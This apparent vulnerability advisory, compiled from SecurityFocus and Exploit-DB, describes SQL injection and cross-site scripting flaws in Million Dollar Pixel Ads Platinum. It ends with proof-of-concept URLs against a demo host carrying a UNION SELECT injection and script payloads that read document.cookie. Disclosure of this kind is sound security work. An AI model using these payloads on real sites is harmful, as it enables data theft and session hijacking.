Million Dollar Pixel Ads Multiple Vulnerabilities

vendor:

Million Dollar Pixel Ads

by:

SecurityFocus

7.5

CVSS

HIGH

SQL Injection and Cross-Site Scripting

89, 79

CWE

Product Name: Million Dollar Pixel Ads

Affected Version From: Million Dollar Pixel Ads Platinum

Affected Version To: Million Dollar Pixel Ads Platinum

Patch Exists: YES

Related CWE: N/A

CPE: Million Dollar Pixel Ads

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Million Dollar Pixel Ads Multiple Vulnerabilities

Million Dollar Pixel Ads is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to execute unintended commands or access data that the user should not be allowed to access.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/43443/info

Million Dollar Pixel Ads is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Million Dollar Pixel Ads Platinum is vulnerable; other versions may also be affected. 

http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory=1+union+select+version()--&submit=search

http://www.turnkeysetup.net/demos/million/buy1.php?category=11&place="><script>alert(document.cookie);</script>
http://www.turnkeysetup.net/demos/million/index2.php?category="><script>alert(document.cookie);</script>
http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory="><script>alert(document.cookie);</script>